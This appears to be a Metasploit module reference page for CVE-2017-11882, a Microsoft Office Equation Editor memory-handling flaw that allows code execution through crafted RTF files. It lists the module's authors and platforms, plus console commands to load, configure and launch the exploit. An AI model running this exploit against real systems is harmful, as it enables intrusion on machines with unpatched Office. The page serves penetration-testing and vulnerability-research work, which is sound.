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Microsoft Office CVE-2017-11882

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Microsoft Office CVE-2017-11882

Disclosed
11/15/2017
Created
06/14/2018

Description

Module exploits a flaw in how the Equation Editor that allows an attacker to execute arbitrary code in RTF files without interaction. The vulnerability is caused by the Equation Editor, to which fails to properly handle OLE objects in memory.

Author(s)

  • mumbai
  • embedi

Platform

Windows

Architectures

x86, x64

Development

Module Options

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':

msf > use exploit/windows/fileformat/office_ms17_11882
msf exploit(office_ms17_11882) > show targets
    ...targets...
msf exploit(office_ms17_11882) > set TARGET < target-id >
msf exploit(office_ms17_11882) > show options
    ...show and set options...
msf exploit(office_ms17_11882) > exploit

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